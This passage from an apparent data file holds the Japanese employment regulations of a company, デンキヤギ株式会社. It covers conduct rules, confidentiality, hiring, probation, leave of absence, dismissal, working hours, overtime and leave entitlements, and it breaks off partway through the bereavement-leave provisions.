v\noption is not worth much on busy hosts.\n"} +{"text": "# 就業規則\n\n## 第1章 総則\n\n### 第1条 目的\n\n1. 本規則は、デンキヤギ株式会社(以下、会社という)の従業員の労働条件、服務規律その他の就業に関する事項を定める。\n2. 本規則により、会社業務の円滑な運営と会社秩序の維持を図るものとする。\n\n### 第2条 従業員の定義\n\n1. 従業員の区分及び定義は、次のとおりとする。\n * 正社員 ・・・ 期間の定めのない労働契約により、従業員として採用された者\n * 常勤正社員 ・・・ 短時間勤務ではない正社員\n * 短時間正社員 ・・・ 短時間勤務により、1日及び1週の所定労働時間が短い正社員\n * 臨時社員 ・・・ 有期労働契約により雇用され、正社員に該当しない者\n * 嘱託社員 ・・・ 定年退職した後、嘱託員契約により再雇用された者\n\n### 第3条 適用範囲\n\n1. 本規則は従業員に対し適用する。但し、臨時社員、嘱託社員等はその者に適用する別段の定めをした場合はその定め、又は個別の雇用契約を優先するものとする。\n\n### 第4条 規則遵守の義務\n\n1. 会社及び従業員は、本規則及びその他諸規程を遵守し、その義務を履行し、互いに協力して事業の運営にあたらなければならない。\n\n\n## 第2章 服務\n\n### 第5条 服務規律\n\n1. 従業員は、所属長の指示命令を誠実に守り、互いに協力して職責を遂行するとともに、職場の秩序の保持に努めなければならない。\n2. 所属長は部下の指示に努めるとともに率先して職務の遂行にあたらなければならない。\n3. 従業員は、職場の秩序を保持し、業務の正常な運営を図るため、次の事項を守らねばならない。\n 1. 勤務中は職務に専念し、みだりに勤務の場所を離れないこと\n 2. 勤務中は私的な電話、電子メールの送受信、Webの閲覧等により、作業を阻害しないこと\n 3. 勤務中は他の会社等の業務に従事しないこと\n 4. 許可なく職務以外の目的で会社の施設、物品等を使用しないこと\n 5. 職務に関連して自己の利益を図り、又は他より不当に金品を借用し、若しくは贈与を受けるなどの不正な行為を行わないこと\n 6. 会社の名誉又は信用を傷つける行為をしないこと\n 7. 身だしなみを整え、他人に不快を与えないこと\n 8. 酒気帯び運転をしないこと(業務外も含む)\n 9. 相手方の望まない性的言動により、他の従業員に不利益や不快感を与えたり、就業環境を悪くすると判断されることを行ってはならないこと\n 10. 本来の業務の範囲を逸脱して、従業員の人格と尊厳を侵害する言動により、就業環境を害しないこと\n 11. 企業秩序を乱す言動をしないこと\n 12. 従業員及び顧客等に対して危害を加えないこと\n 13. 公共の場所等で他人に粗野又は乱暴な言動で迷惑をかけないこと\n 14. 会社の施設及び客先で政治活動および布教活動を行わないこと\n 15. 許可なく会社の施設において集会、演説、放送、各種印刷物の掲示・貼付・配布、署名運動、物品の販売、募金その他これに類する行為を行わないこと\n 16. その他、前各号に準ずる行為など従業員としてふさわしくない行為をしないこと\n2. 前項に定める服務規律を違反していることが疑われる場合、会社は、プライバシーを侵害しない範囲で社内システム、電子メール、Webアクセス等のモニタリング及び内部監査を行うことがある。\n3. 服務規律に違反した場合、第9章に定める懲戒処分を行うことがある。\n\n### 第6条 営業秘密・個人情報の管理\n\n1. 従業員は、次の各号に挙げる情報を正当な理由もなく開示、利用目的を超えて取扱、漏えい、紛失、又は会社に許可のない持出(持ち出そうとしている段階での発覚も含む)をしてはならない。会社を退職した場合においても同様とする。\n 1. 会社の技術及び知的財産上の秘密に関する情報\n 2. 会社の営業、取引等の計画に関する情報\n 3. 会社の仕入れ、販売その他会社が行った取引に関する情報\n 4. 会社の役員、従業員等及び取引先、顧客その他の関係者の個人情報\n 5. 会社から社外秘と指定されている、又は客観的に社外秘であると判断できる情報\n 6. その他、前各号に準じ、かつ非公然性が認められる情報\n2. 前項による情報管理を適正に行うため、会社は、プライバシーを侵害しない範囲で社内システム、電子メール、Webアクセス等のモニタリング、内部監査及び改善命令を行うことがある。\n3. 営業秘密・個人情報の管理規則に違反する又は前項の改善命令に従わない場合、第9章に定める懲戒処分を行うことがある。\n\n\n\n### 第7条 通勤方法\n\n1. 従業員は、原則として徒歩又は公共交通機関により通勤しなければならない。\n2. 自転車による通勤を希望する従業員は、事前に届出を行い、会社から許可を受けなければならない。この際、自転車運転中の事故を補償する保険に加入していない従業員に対しては、自転車通勤を認めることはない。\n3. 自動車及びバイク等による通勤は原則として認めない。やむを得ない事情がある場合のみ、会社はこれを認めることがある。この際、事前に通勤経路についての届出を必須とし、通勤時にこの経路以外を運転することは一切認めない。\n4. 前2項による通勤時に発生した事故に対して、会社は、一切の責任を負わない。\n5. 無届で自転車、自動車及びバイク等で通勤していることが判明した場合、第9章に定める懲戒処分を行うことがある。\n\n### 第8条 兼業の届出\n\n1. 従業員が所定の労働時間外に兼業を行う場合は、事前に届出を行い、会社から許可を受けなければならない。\n2. 前項による届出の際、次の各号に掲げる事由に抵触すると会社が判断した場合、兼業を許可しない。\n 1. 誠実な労務提供ができないとき\n 2. 会社の経営秩序を乱すとき\n 3. 他社へ営業秘密等が漏えいする、又はその可能性が認められるとき\n 4. 会社の対外的な名誉や信用を毀損するとき\n 5. その他、前各号に準ずる事由があるとき\n3. 兼業により、前項の各号の事由に抵触している状態であると会社が判断した場合、会社は次のとおりの処分する。\n 1. 会社の運営に重大な影響が生じる事由の場合\n * 即座に兼業許可を取り消したうえで、懲戒解雇及びそれに準ずる処分を行う。\n 2. 上記以外の事由の場合\n * 当該従業員に対し、1か月間の猶予期間を与え、状況改善を命ずる。\n * 猶予期間内に改善が行わなれなかった場合は、兼業許可を取り消す。又、許可取消と同時に懲戒処分を行うことがある。\n4. 無届の兼業を行っていることが判明した場合、第9章に定める懲戒処分を行うことがある。\n\n\n## 第3章 人事\n\n### 第9条 採用\n\n1. 会社は、入社を希望する者の中から選考試験を行い、これに合格した者を従業員として採用する。但し、正社員以外については、次条とは異なる手続きで採用を行う場合がある。\n\n### 第10条 採用選考\n\n1. 会社は、就職希望者から次の書類の提出を求めたうえで、書類選考及び面接試験を行い、採用内定者を決定する。\n 1. 職歴のない者\n * 履歴書\n * 学業成績証明書又は卒業(見込み)証明書\n * 健康診断書(3か月以内に受診したものに限る)\n * その他、会社が提出を求めるもの\n 2. 職歴のある者\n * 履歴書\n * 職務経歴書\n * 健康診断書(3か月以内に受診したものに限る)\n * その他、会社が提出を求めるもの\n2. 会社は、採用内定者に対し、合格した旨、入社予定日及び内定取消事由を記載した内定通知書を交付する。\n3. 第1項の書類は、不採用の場合は、直ちに本人に返還又は廃棄する。\n4. 正社員以外については、選考手続きの一部を省略し、又、内定を経ずして本採用することがある。この場合においては、次条の規程は適用しない。\n\n### 第11条 内定取消事由\n\n1. 会社は、次の事由がある場合、採用内定者の内定を取り消し、採用しないことがある。\n 1. 採用の前提となる条件が満たせなかったとき(卒業、免許の取得等)\n 2. 経歴に偽りがあると認められるとき\n 3. 採用選考時に告知すべき事実を秘匿していたことが判明したとき\n 4. 健康状態が勤務に耐えられないと会社が判断したとき\n 5. 採用内定後に、健全な社会常識に反する行為があったとき\n 6. 会社の経営環境の悪化又は事業運営の見直し等が行われたとき\n 7. その他前各号に準ずる、又はやむを得ない事由があるとき\n\n### 第12条 採用時の提出書類\n\n1. 従業員として採用された者は、入社日から3日以内に次の書類を提出しなければならない。\n * 住民票記載事項証明書\n * 基礎年金番号が記載された類(年金手帳の写し等)\n * 行政手続における特定の個人を識別するための番号の利用等に関する法律に定める個人番号(以下「マイナンバー」という。)が記載された書類(個人番号カード又は通知カードの写し、若しくはマイナンバーが記載された住民票記載事項証明書等)\n * 雇用保険被保険者証(職歴のある者に限る)\n * 前職の源泉徴収票(職歴のある者に限る)\n * 入社誓約書(正社員として採用され、かつ会社が提出を求めた場合に限る)\n * 身元保証書(正社員として採用され、かつ会社が提出を求めた場合に限る)\n * その他、会社が指定するもの\n2. 前項の定めにより提出した書類の記載事項に変更を生じたときは、速やかに書面で会社に変更事項を届け出なければならない。\n3. 正当な理由なく、前2項の手続きをしない者は、採用を取消、又は、懲戒処分の対象とすることがある。\n4. 第1項の規程に基づき会社に提出された個人情報について、会社は、次の手続きに限り利用することができ、その他の目的で利用しない。\n * 源泉徴収関連事務等\n * 配偶者特別控除申告書作成事務\n * 給与支払報告書作成事務\n * 給与支払報告特別徴収に係る給与所得者異動届出書作成事務\n * 特別徴収への切替申請書作成事務\n * 退職所得に関する申告書作成事務\n * 退職手当金等受給者別支払調書作成事務\n * 健康保険、厚生年金、企業年金申請・請求事務\n * 財産形成住宅貯蓄・財産形成年金貯蓄に関する申告書、届出書、申込書作成事務\n * 健康保険、厚生年金、企業年金届出事務\n * 国民年金第三号届出事務\n * 雇用保険、労災保険証明書作成事務\n * 雇用保険、労災保険届出事務\n * 雇用保険、労災保険申請・請求事務\n * その他、法令に定められた事務\n5. 第1項の規程に基づき会社に提出された個人情報について、会社は、第4項の利用範囲に定める手続き等を代行する税理士または社会保険労務士等に提供することがある。\n\n### 第13条 試用期間\n\n1. 従業員として新たに採用した者の試用期間は、次のとおりとする。\n 1. 正社員の場合\n * 入社日から3か月間を試用期間とする。\n * 但し、会社が認めた場合は、この期間を設定しない、又は短縮することがある。\n 2. 臨時社員及び嘱託社員の場合\n * 試用期間は設けない。\n2. 試用期間中の従業員が、次のいずれかに該当し、従業員として不適格であると認められた場合は、本採用を拒否し解雇することがある。\n 1. 会社が指定した必要書類を提出しないとき\n 2. 会社に申告した経歴や能力に偽りがあったと認められるとき\n 3. 業務遂行能力及び適正が不足していると会社が判断したとき\n 4. 会社及び上長の指示に従わないとき\n 5. 出勤状況及び勤務態度が悪いとき\n 6. 健康状態が悪く、勤務に耐えられないと会社が判断したとき\n 7. その他前各号に準ずる事由又は解雇事由に該当するとき\n3. 前項の本採用拒否条件に該当しているが、改善の余地があると会社が認めた場合は、最大3か月の範囲で試用期間を延長することがある。\n4. 試用期間は、勤続年数に通算する。\n\n### 第14条 正社員への転換\n1. 臨時社員として6か月以上雇用される有期労働契約の従業員で、本人が希望する場合には、正社員に転換させることがある。\n2. 転換時期は随時とする。\n3. 転換させる場合の要件及び基準は下記に記載する。\n 1. 健康状態が良好で、直前の健康診断において異常がなく、正社員と同様の勤務時間・日数で勤務が可能である者。\n 2. 職務に対する意欲があり、勤務態度が良好であること。\n 3. 所属長の推薦があり、代表取締役との面接試験に合格した者。\n\n### 第15条 派遣社員からの採用\n1. 会社は同一業務に6か月以上受け入れている派遣社員を、本人の希望により正社員として採用することがある。\n2. 採用時期は随時とする。\n3. 採用要件及び基準は前条第3項と同様とする。\n\n### 第16条 労働条件の明示\n\n1. 会社は、従業員を採用するとき、本規則を交付するとともに、次の事項に関し、個別に必要な事項については別に定める書面(雇用契約書)により明示する。\n 1. 労働期間に関する事項\n 2. 期間の定めのある労働契約を更新する場合の基準に関する事項(期間の定めのある労働契約を更新する場合に限る)\n 3. 就業の場所及び従事すべき業務に関する事項\n 4. 始業及び終業の時刻、所定労働時間を超える労働の有無、休憩時間、休日、休暇並びに交替制により就業させる場合における就業時転換に関する事項\n 5. 賃金(退職手当及び臨時に支払われる賃金等を除く)の決定、計算及び支払の方法、賃金の締切り及び支払の時期並びに昇給・降給に関する事項\n 6. 退職に関する事項(解雇の事由を含む)\n\n### 第17条 人事異動\n\n1. 会社は、業務上必要がある場合は、従業員の就業する場所又は従事する業務の変更を命ずることがある。\n2. 会社は、業務上必要がある場合は、従業員を在籍のまま他の会社又は関係団体に出向させることがある。\n3. 前2項の場合、従業員は正当な理由なくこれを拒むことはできない。\n\n### 第18条 休職\n\n1. 正社員が次の各号に該当するときには、休職を命ずる事がある。\n 1. 業務外の傷病による欠勤が6か月以内(起算日は会社の認定による)に通算30日以上にわたったとき。但し、状況によっては、欠勤が通算30日に至る前に休職を命ずる事がある。\n 2. 業務外の傷病により、頻繁に欠勤するほどではないが、常に所定労働時間の勤務ができない、又は、職務遂行能力の低下等で完全な労務提供ができないとき\n 3. 公の職務につき、業務に支障があるとき\n 4. 出向をしたとき\n 5. その他、特別な事情があり、会社が休職させることを必要と認めたとき\n2. 前項の1号、2号及び5号の事由が業務外の傷病等を原因とする休職に限り、次の各号が適用される。\n 1. 勤続年数が1年以上の正社員のみを対象とする。\n 2. 会社が休職を命ずる場合、本人は、医療機関による診断書を事前に提出しなければならない。この診断書の提出がない場合には、会社は、医療機関の受診を命ずることができる。この受診及び診断書の代金は、本人が負担するものとする。\n 3. 前号の診断書の提出を拒否し、かつ、医療機関の受診も拒否する場合、会社は、休職を命ずることなく普通解雇することがある。\n 4. 当該傷病が休職期間中の療養によって治癒(従前の労務提供ができるまで回復)する蓋然性が低いと認められた場合及び従業員の自己保健義務に反する行為があった場合、会社は、休職を命ずることなく普通解雇することがある。\n\n\n\n### 第19条 休職期間\n\n1. 休職期間は、次のとおりとする。但し、相応の事由に基づき、その必要があると会社が認めた場合は、休職期間を延長することがある。\n 1. 前条1項1号、2号及び5号により休職するとき\n * 勤続1年以上3年未満 ・・・ 3か月以内\n * 勤続3年以上 ・・・ 6か月以内\n * 勤続5年以上 ・・・ 10か月以内\n 2. 前項に該当しない事由で休職するとき\n * その必要な範囲で、会社の認める期間\n2. 同一の事由による休職は、原則として次の回数を限度とする。但し、前条1項4号の休職は、この限りではない。\n * 勤続10年未満 ・・・ 通算2回\n * 勤続10年以上 ・・・ 通算3回\n3. 休職期間中は、賃金を支給しない。\n4. 休職期間は、前条1項4号の休職を除き、勤続年数に通算しない。\n5. 休職中の者は、一定期間毎に会社に状況報告を行わなければならない。\n6. 休職期間中の社会保険料及び住民税については、毎月の給与支払日から1週間以内に会社指定の口座に振り込まなければならない。\n8. 休職期間満了後においても休職事由が消滅しないときは、満了の日をもって自然退職とする。\n\n### 第20条 復職\n\n1. 休職の事由が消滅したときは、直ちに復職させる。\n2. 復職の際、原則として従前の職務に復職させるが、会社の状況もしくは従業員の職務提供状況に応じて異なる職務に配置することがある。この場合、労働条件の変更が伴うことがある。\n3. 休職事由が傷病による者が復職する場合は、医療機関が発行した治癒証明書(休職前と同様の労務提供ができる旨が記載されていること)を提出しなければならない。それにより、会社が、復職の是非を判断する。\n4. 前項の治癒証明書が発行された場合でも、会社が指定する医療機関への検診を命ずることがある。会社は、従業員が正当な理由なくこれを拒否した場合、復職を認めない。\n5. 復職に際して、本人のみならず親族に対して意見聴取を行うことがある。この場合は、従業員はこれに協力しなければならない。\n6. 復職しても1年以内に同一又は類似の事由により欠勤又は完全な労務提供をできない状況に至った場合は、復職を取り消し、直ちに休職を命ずる。この場合の休職期間は、当該復職前の休職期間と通算する。\n\n\n## 第4章 定年、退職及び解雇\n\n### 第21条 定年\n\n1. 従業員の定年は満60歳とし、定年に達した日の属する月の末日をもって退職とする。\n2. 前項の規程にかかわらず、定年後も引き続き雇用されることを希望し、解雇事由又は退職事由に該当しない従業員については、1年以内の有期契約の更新により、最大満65歳まで再雇用する。労働条件については、個別契約により明示する。\n\n### 第22条 退職\n\n1. 前条に定めるもののほか、従業員が次のいずれかに該当するときは、退職とする。\n 1. 前条の定年によるとき\n 2. 退職を願い出て会社が承認したとき、又は退職届を提出して1か月を経過したとき\n 3. 期間を定めて雇用されている場合、その期間を満了したとき\n 4. 休職期間が満了し、なお休職事由が消滅しないか、復職しないとき\n 5. 外国人従業員の在留資格が満了又は失効し、就労することができなくなったとき\n 6. 行方が不明となり、30日以上連絡が取れず、解雇手続きを取らないとき\n 7. 死亡したとき\n 8. その他、退職について労使双方が合意したとき\n\n### 第23条 解雇\n\n1. 従業員が次のいずれかに該当し、改善の見込みもない場合は、解雇とする。\n 1. 勤務状況が不良で、従業員としての職責を果たし得ないとき\n 2. 勤務成績又は業務能率が不良であり、かつ、他の職務に転換させることができないとき\n 3. 特定の地位、職種又は一定の能力を条件として雇い入れられた者で、その能力又は適格性が欠けると認められるとき\n 4. 精神又は身体の障害により業務に耐えられないとき\n 5. 業務上の負傷又は疾病による療養の開始後3年を経過しても当該負傷又は疾病が治らない場合であって、従業員が傷病補償年金を受けているとき又は受けることとなったとき(会社が打ち切り補償を支払ったときを含む)\n 6. 第18条2項の3号又は4号に該当するとき\n 7. 誠実勤務義務又は完全な労務提供義務の不履行により、雇用契約を継続することが不適当と認められたとき\n 8. 企業秩序を乱す言動があり、会社の改善命令に従わないとき\n 9. 重大な懲戒事由に該当するとき\n 10. 事業の運営上又は天災事変その他これに準ずるやむを得ない事由により、事業の縮小又は部門の閉鎖等を行う必要が生じ、かつ他の職務への転換が困難なとき\n 11. その他前各号に準ずるやむを得ない事由があったとき\n\n### 第24条 解雇の予告\n\n1. 前条により従業員を解雇する場合は、次の各号に掲げる者を除き、少なくとも30日前に本人に予告するか又は予告に代えて平均賃金の30日分以上の解雇予告手当を支払う。\n 1. 日々雇い入れられる者で、雇用期間が1か月を超えない者\n 2. 2か月以内の期間を定めて雇用した者\n 3. 試用期間中であって、採用日から14日以内の者\n 4. 本人の責めに帰すべき事由によって解雇する場合で、労働基準監督署長の認定を受けた者\n2. 前項によらず、天変事変等の事由のために事業の継続が不可能となり、労働基準監督署長の認定を受けた場合は、この限りではない。\n\n### 第25条 解雇の制限\n\n1. 従業員が、業務上の傷病による療養のため休業する期間及びその後30日間、ならびに産前産後の休業期間及びその後30日間は解雇しない。\n2. 前項によらず、業務上負傷し、又は疾病にかかった者に対して打切補償を行った場合、又は天変事変等の事由のために事業の継続が不可能となった場合は、この限りではない。\n\n\n## 第5章 労働時間、休憩及び休日\n\n### 第26条 所定労働時間\n\n1. 所定労働時間は、休憩時間を除き原則として1日8時間、1週間あたり40時間とする。\n2. 前項によらず、個別の雇用契約書等により別段の定めがある場合は、これに従う。\n3. 客先に常駐して業務にあたる場合において、常駐先の所定労働時間が第1項による基本労働時間に満たない場合は、労働時間は次のとおりに扱う。\n 1. 労働時間が常駐先所定労働時間と等しい場合\n * `基本労働時間` を労働したものとみなす\n 2. 労働時間が常駐先所定労働時間に満たない場合\n * `基本労働時間労働 - 常駐先所定労働時間に満たなかった時間` を労働したものとみなす\n 3. 労働時間が常駐先所定労働時間を超える場合\n * `基本労働時間労働 + 常駐先所定労働時間を超過した時間` を労働したものとみなす\n\n### 第27条 始業・終業の時刻及び休憩時間\n\n1. 始業・終業の時刻及び休憩の時間は、次のとおりとする。\n * 始業 ・・・ 9時00分(所定の就労場所にて業務を開始する時刻)\n * 終業 ・・・ 18時00分(業務を終了する時刻)\n * 休憩時間 ・・・ 11時45分から12時45分\n2. 前項によらず、個別の雇用契約書等により別段の定めがある場合は、これに従う。\n3. 会社は、業務その他やむを得ない事情により、前項の時刻を繰り上げ、又は繰り下げることがある。\n\n### 第28条 フレックスタイム制\n\n1. 前条の規程によらず、会社は、正社員に対し、フレックスタイム制を適用することがある。\n2. フレックスタイム制の適用に際し、労働基準法第32条の3に基づき、次の事項を定めた労使協定を締結しておかねばならない。\n 1. 対象となる従業員の範囲\n 2. 清算期間\n 3. 清算期間における総労働時間\n 4. 標準となる1日の基本時間\n 5. コアタイムを定める場合には、その開始・終了時刻\n 6. フレキシブルタイムを定める場合には、その開始・終了時刻\n3. 前項により締結した労使協定を、就業規則に添付して就業規則の一部とし、本規則に定めのない場合は、当該協定の定める内容によるものとする。\n\n### 第29条 専門業務型裁量労働制\n\n1. 第26条及び27条の規程によらず、会社は、正社員に対し、専門業務型裁量労働制を適用することがある。\n2. 専門業務型裁量労働制の適用に際し、労働基準法第38条の3に基づき、労使協定を締結しておかねばならない。\n3. 前項により締結した労使協定を、就業規則に添付して就業規則の一部とし、本規則に定めのない場合は、当該協定の定める内容によるものとする。\n\n### 第30条 出張時の勤務時間及び旅費\n\n1. 出張時の労働時間は、出張先到着時刻から出張先出発時刻までを労働時間とする。但し、1日の所定労働時間に満たない、又は、勤務時間を算定しがたい場合は、所定労働時間勤務したものとみなす。\n2. 出張旅費は、出張旅費規程の定めに従う。\n\n### 第31条 欠勤・遅刻・早退・私用外出\n\n1. 従業員は、交通遅延、私傷病その他やむを得ない理由により、欠勤、遅刻、早退又は私用外出する場合には、あらかじめ届け出をし、承認を得なければならない。\n2. 遅刻ならびに欠勤につき事前に承認を得ることが難しい場合は、事後速やかに届け出なければならない。\n3. 本条による欠勤等の賃金は無給とする。\n4. 無断での欠勤に対する有給休暇の振替は認めない。\n\n### 第32条 休日\n\n1. 休日は、次のとおりとする。\n * 法定休日\n * 日曜日\n * 法定外休日\n * 土曜日\n * 国民の祝日(日曜日と重なったときは翌日)\n * 年間休日カレンダーで定めた日\n * その他会社が指定する日\n\n### 第33条 休日の振替\n\n1. 業務の都合でやむを得ない場合は、前条の休日を他の日に振り替えることがある。\n\n### 第34条 時間外・休日労働\n\n1. 業務の都合により、第26条の所定労働時間を超え、又は第32条の所定休日に労働させることがある。従業員は正当な理由なく、これを拒んではならない。\n2. 前項の場合、法定労働時間を超える労働又は法定休日における労働については、あらかじめ会社は従業員の過半数代表者と書面による労使協定を締結するとともに、これを所轄の労働基準監督署長に届け出るものとする。\n3. 小学校就学前の子を養育又は家族の介護を行う男女の従業員で時間外労働を短いものとすることを申し出た者の法定の労働時間を超える労働については、前項の協定において別に定めるものとする。\n4. 妊娠中の女性、産後1年を経過しない女性従業員(以下「妊産婦」という)であって請求した者及び18歳未満の者については、第2項による時間外労働又は休日若しくは深夜(22時から5時まで)に労働させることはない。\n5. 前項の従業員のほか小学校就学前の子の養育又は家族の介護を行う一定範囲の従業員で会社に請求した者については、事業の正常な運営を妨げる場合を除き、休日若しくは深夜(22時から5時まで)に労働させることはない。\n6. 災害その他避けることのできない事由によって臨時の必要があ���場合には、第1項から前項までの制限を超えて、所定労働時間外又は休日に労働させることがある。但し、この場合であっても、請求のあった妊産婦については、所定労働時間外又は休日に労働させることはない。\n\n### 第35条 時間外・休日労働の事前承認\n\n1. 従業員が第26条の所定労働時間を超え、又は第32条の所定休日に労働をする場合には、会社から事前に時間外労働の可否および時間外労働時間数についての許可を得なければならない。\n2. 第29条の専門業務型裁量労働制が適用された従業員も、前項と同様に所定休日又は深夜に労働をする場合には、事前に許可を得なければならない。\n3. 前2項について、事前に許可を得ることが難しい場合には、事後の届出も認める。但し、正当な理由が認められない場合は、これを承認しないことがある。\n4. 前各項による承認のない労働については、労働時間としては取り扱わず無給とする。\n\n### 第36条 代休\n\n1. 会社は、従業員を第32条の所定休日に労働させた場合、代休を与えることがある。\n2. 賃金計算期間内の所定外労働時間が1日所定労働時間を超えている場合、会社は、所定外労働時間を代休に振り替えることがある。\n3. 急な傷病等のやむを得ない事由による欠勤は、本人が事後速やかに申し出たうえで会社が認めた場合に限り、代休に振り替えることができる。\n\n### 第37条 適用除外\n\n1. 前各条の規程にかかわらず、監督又は管理の地位にあるものについては、本章に定める労働時間、休憩、休日の適用を除外する。\n\n\n## 第6章 休暇及び休業\n\n### 第38条 年次有給休暇\n\n1. 各年次ごとに所定労働日の8割以上出勤した従業員に対しては、次のとおり勤続年数に応じた日数の年次有給休暇を与える。\n 1. 週所定労働日数が5日以上、又は週所定労働時間が30時間以上の従業員\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n
    0.5年1.5年2.5年3.5年4.5年5.5年6.5年以上
    10日11日12日14日16日18日20日
    \n 2. 週所定労働日数が4日、かつ週所定労働時間が30時間未満の従業員\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n
    0.5年1.5年2.5年3.5年4.5年5.5年6.5年以上
    7日8日9日10日12日13日15日
    \n 3. 週所定労働日数が3日、かつ週所定労働時間が30時間未満の従業員\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n
    0.5年1.5年2.5年3.5年4.5年5.5年6.5年以上
    5日6日6日8日9日10日11日
    \n 4. 週所定労働日数が2日、かつ週所定労働時間が30時間未満の従業員\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n
    0.5年1.5年2.5年3.5年4.5年5.5年6.5年以上
    3日4日4日5日6日6日7日
    \n 5. 週所定労働日数が1日、かつ週所定労働時間が30時間未満の従業員\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n
    0.5年1.5年2.5年3.5年4.5年5.5年6.5年以上
    1日2日2日2日3日3日3日
    \n2. 従事する業務への実務経験が十分にあり、かつ業務遂行能力が高いと会社が評価した従業員には、年次有給休暇を前項の定めよりも多く与えることがある。\n3. 年次有給休暇は、取得希望日の前日までに届け出なければならない。但し、業務の都合によりやむを得ない場合には他の日に変更することがある。\n4. 急な傷病等のやむを得ない事由により欠勤は、本人が事後速やかに申し出たうえで会社が認めた場合に限り、年次有給休暇に振り替えることができる。\n5. 当該年度に行使しなかった年次有給休暇は、次年度に限り繰りこすことができる。\n6. 年次有給休暇の最大保有日数は、前項による繰越も含め、年間最大40日までとする。\n7. 年次有給休暇は、第1項に定める勤続年数が経過した日の属する賃金月度の初日に与える。\n8. 年次有給休暇の最小取得単位は、半日(1日の所定労働時間の50%)とする。但し、1日の所定労働時間が6時間未満、又は、第29条の専門業務型裁量労働制が適用されている従業員は、最小取得単位を1日とする。\n9. 第27条の始業・終業・休憩の時刻に従う従業員が、半日単位で年次有給休暇を取得する場合の就業時間は、次のとおりとする。\n 1. 始業時間\n * 前半休 ・・・ 所定終業時刻から半日分の労働時間を減算した時刻\n * 後半休 ・・・ 所定始業時刻のとおり\n 2. 終業時間\n * 前半休 ・・・ 所定終業時刻のとおり\n * 後半休 ・・・ 所定始業時刻に半日分の労働時間を加算した時刻\n 3. 休憩時間\n * 第27条に定める休憩時間帯を適用しない。但し、半日単位の年次有給休を取得した日に時間外労働に従事する場合は、次のとおり実労働時間に応じた時間の休憩をしなければならない。\n * 実労働時間が8時間以上の場合 ・・・ 休憩60分\n * 実労働時間が6時間以上8時間未満の場合 ・・・ 休憩45分\n * 実労働時間が6時間未満の場合 ・・・ 休憩なし\n10. 第28条のフレックスタイム制を適用されている従業員が、半日単位で年次有給休暇を取得する場合のコアタイム、フレキシブルタイム、休憩時間等の取扱いについては、フレックスタイム制度に関する労使協定の定めに従う。\n11. 年次有給休暇の取得期間は有給とし、出勤率算定の際は通常の勤務をしたものとみなす。\n12. 会社は、毎月の賃金計算締切日における年次有給休暇の残日数を、当該賃金の支払明細書に記載して各従業員に通知する。\n13. 第1項の定めにより年次有給休暇が10日以上付与された労働者は、第7項に定める年次有給休暇の付与日から1年以内に5日以上の年次有給休暇を取得しなければならない。年次有給休暇の付与日から9か月が経過した時点で年次有給休暇の取得日数が不足している労働者に対し、会社は、当該労働者と相談の上、取得日数が不足しないように年次有給休暇の時季を指定する。\n\n### 第39条 採用時特別休暇\n\n1. 採用時特別休暇とは、入社直後の年次有給休暇が与えられていない期間に、行政手続き等を円滑に行うため、又は、急な傷病等のやむを得ない事由がある場合に取得できる休暇である。\n2. 採用時特別休暇は、次のとおりの日数を、入社日の翌日に与える。\n * 週所定労働日数が5日の正社員 ・・・ 2日\n * 週所定労働日数が4日の正社員 ・・・ 1日\n * 上記以外の従業員 ・・・ なし\n3. 採用時特別休暇の取得期限は、入社後最初の年次有給休暇が与えられる日の前日までとする。\n4. 採用時特別休暇は、取得希望日の前日までに届け出なければならない。但し、業務の都合によりやむを得ない場合には他の日に変更することがあり、届出事由によっては承認しないことがある。\n5. 急な傷病等のやむを得ない事由により欠勤は、本人が事後速やかに申し出たうえで会社が認めた場合に限り、採用時特別休暇に振り替えることができる。\n6. 採用時特別休暇の最小取得単位は、1日とする。\n7. 採用時特別休暇の取得期間は有給とし、出勤率算定の際は通常の勤務をしたものとみな���。\n8. 会社は、毎月の賃金計算締切日における採用時特別休暇の残日数を、当該賃金の支払明細書に記載して各従業員に通知する。\n\n### 第40条 慶弔休暇\n\n1. 従業員が次のいずれかに該当する事由により休暇を申請した場合には、慶弔休暇を与える。\n 1. 本人が結婚するとき\n \n \n \n \n \n \n \n \n \n \n \n \n \n
    休暇日数最大5日
    届出条件30日前までに届け出なければならない。
    取得期限入籍日から6か月以内とする。但し、本人から請求があり、取得時期が明確な場合は、取得期限の延長を認めることがある。
    \n 2. 子女が結婚するとき\n \n \n \n \n \n \n \n \n \n \n \n \n \n
    休暇日数最大2日
    届出条件30日前までに届け出なければならない。
    取得期限入籍日から6か月以内とする。但し、本人から請求があり、取得時期が明確な場合は、取得期限の延長を認めることがある。
    \n 3. 妻が出産するとき\n \n \n \n \n \n \n \n \n \n \n \n \n \n
    休暇日数最大2日
    届出条件事後の届出を認める。但し、事前に休暇を取得する見込みが分かっている場合は、会社にその旨を通知しなければならない。この事前通知を怠った場合、慶弔休暇の取得を認めないことがある。
    休暇開始日休暇事由の発生日とする。但し、本人から申出があった場合は、休暇開始日を事由発生日の翌日に変更することができる。
    \n 4. 父母、配偶者又は子が死亡したとき\n \n \n \n \n \n \n \n \n \n \n \n \n \n
    休暇日数最大5日
    届出条件事後の届出を認める。但し、事前に休暇を取得する見込みが分かっている場合は、会社にその旨を通知しなければならない。この事前通知を怠った場合、慶弔休暇の取得を認めないことがある。
    休暇開始日休暇事由の発生日とする。但し、本人から申出があった場合は、休暇開始日を事由発生日の翌日に変更することができる。
    \n 5. 兄弟姉妹、祖父母又は配偶者の祖父母が死亡したとき\n \n \n \n \n \n \n \n \n \n \n \n \n \n
    休暇日数最大2日
    届出条件事後の届出を認める。但し、事前に休暇を取得する見込みが分かっている場合は、会社にその旨を通知しなければならない。この事前通知を怠った場合、慶弔休暇の取得を認めないことがある。
    休暇開始日休暇事由の発生日とする。但し、本人から申出があった場合は、休暇開始日を事由発生日の翌日に変更することができる。
